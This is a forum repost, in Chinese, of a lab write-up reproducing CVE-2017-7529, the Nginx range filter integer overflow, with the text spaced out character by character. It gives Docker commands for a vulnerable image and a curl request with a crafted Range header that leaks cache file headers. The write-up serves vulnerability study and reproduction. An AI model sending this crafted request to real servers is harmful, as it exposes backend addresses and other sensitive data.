搜索

[19045] 2017-07-14_CVE-2017-7529Nginx整数溢出漏洞环境搭建及复现

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-18
2017-07-14_CVE-2017-7529Nginx整数溢出漏洞环境搭建及复现 C V E - 2 0 1 7 - 7 5 2 9   N g i n x 整 数 溢 出 漏 洞 环 境 搭 建 及 复 现 原 创   安 全 小 透 明   i n n 0 t e a m   2 0 1 7 - 0 7 - 1 4 漏 洞 信 息 当 使 用 n g i n x 标 准 模 块 时 ， 攻 击 者 可 以 通 过 发 送 包 含 恶 意 构 造   r a n g e   域 的   h e a d e r   请 求 ， 来 获 取 响 应 中 的 缓 存 文 件 头 部 信 息 。 在 某 些 配 置 中 ， 缓 存 文 件 头 可 能 包 含 后 端 服 务 器 的 I P 地 址 或 其 它 敏 感 信 息 ， 从 而 导 致 信 息 泄 露 。 参 考 ： 【 漏 洞 分 析 】 N g i n x   r a n g e   过 滤 器 整 形 溢 出 漏 洞   ( C V E – 2 0 1 7 – 7 5 2 9 ) 预 警 分 析 ( h t t p : / / b o b a o . 3 6 0 . c n / l e a r n i n g / d e t a i l / 4 1 0 2 . h t m l ) 漏 洞 影 响 该 漏 洞 影 响 所 有   0 . 5 . 6   -   1 . 1 3 . 2 版 本 内 默 认 配 置 模 块 的 N g i n x 只 需 要 开 启 缓 存 攻 击 者 即 可 发 送 恶 意 请 求 进 行 远 程 攻 击 造 成 信 息 泄 露 。 当 N g i n x 服 务 器 使 用 代 理 缓 存 的 情 况 下 攻 击 者 通 过 利 用 该 漏 洞 可 以 拿 到 服 务 器 的 后 端 真 实 I P 或 其 他 敏 感 信 息 。 通 过 我 们 的 分 析 判 定 该 漏 洞 利 用 难 度 低 可 以 归 属 于 l o w - h a n g i n g - f r u i t 的 漏 洞 在 真 实 网 络 攻 击 中 也 有 一 定 利 用 价 值 。 影 响 版 本 N g i n x   v e r s i o n   0 . 5 . 6   -   1 . 1 3 . 2 修 复 版 本 1 .   拉 取 镜 像 到 本 地 2 .   启 动 环 境   前 面 的   8 0 0 0   代 表 物 理 机 的 端 口 ， 可 随 意 指 定 。 使 用 与 利 用 P O C $   d o c k e r   p u l l   m e d i c e a n / v u l a p p s : n _ n g i n x _ 1 $   d o c k e r   r u n   - d   - p   8 0 0 0 : 8 0   m e d i c e a n / v u l a p p s : n _ n g i n x _ 1 - p   8 0 0 0 : 8 0
1 .   访 问 缓 存 文 件 拿 到   C o n t e n t - L e n g t h ， 以   / p r o x y / d e m o . p n g   为 例 ： 1 .   2 .   3 .   4 .   5 .   6 .   7 .   8 .   9 .   1 0 .   1 1 .   1 2 .   看 到   ,   找 个 比 这 个 数 大 的 值 ， 例 如   1 7 2 0 8 ,   第 二 个   r a n g e   值 为   0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - 1 7 2 0 8 ,   也 就 是   9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0 1 .   请 求 时 设 置   r a n g e   如 下 ： 1 .   看 到 结 果 ： 参 考 链 接 $   c u r l   - I   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g H T T P / 1 . 1   2 0 0   O K S e r v e r :   n g i n x / 1 . 1 3 . 1 D a t e :   W e d ,   1 2   J u l   2 0 1 7   1 5 : 5 7 : 5 7   G M T C o n t e n t - T y p e :   i m a g e / p n g C o n t e n t - L e n g t h :   1 6 5 8 5 C o n n e c t i o n :   k e e p - a l i v e L a s t - M o d i f i e d :   W e d ,   1 2   J u l   2 0 1 7   1 5 : 5 7 : 5 7   G M T E T a g :   W / " 4 0 c 9 - 5 5 4 3 e 4 f a d 0 d 4 0 " X - P r o x y - C a c h e : :   M I S S A c c e p t - R a n g e s :   b y t e s C o n t e n t - L e n g t h :   1 6 5 8 5 $   c u r l   - i   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g   - r   - 1 7 2 0 8 , - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0
【 漏 洞 分 析 】 N g i n x   r a n g e   过 滤 器 整 形 溢 出 漏 洞   ( C V E – 2 0 1 7 – 7 5 2 9 ) 预 警 分 析 ( h t t p : / / b o b a o . 3 6 0 . c n / l e a r n i n g / d e t a i l / 4 1 0 2 . h t m l ) C V E - 2 0 1 7 - 7 5 2 9   N g i n x 整 数 溢 出 漏 洞 分 析 ( h t t p : / / g a l a x y l a b . o r g / c v e - 2 0 1 7 - 7 5 2 9 - n g i n x % E 6 % 9 5 % B 4 % E 6 % 9 5 % B 0 % E 6 % B A % A 2 % E 5 % 8 7 % B A % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 / ) i n n 0 t e a m     一 个 正 在 成 长 的 安 全 团 队 微 信 号 ： i n n 0 t e a m 长 按 可 关 注 我 们 点 击 【 阅 读 原 文 阅 读 原 文 】 直 达 环 境 现 场 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理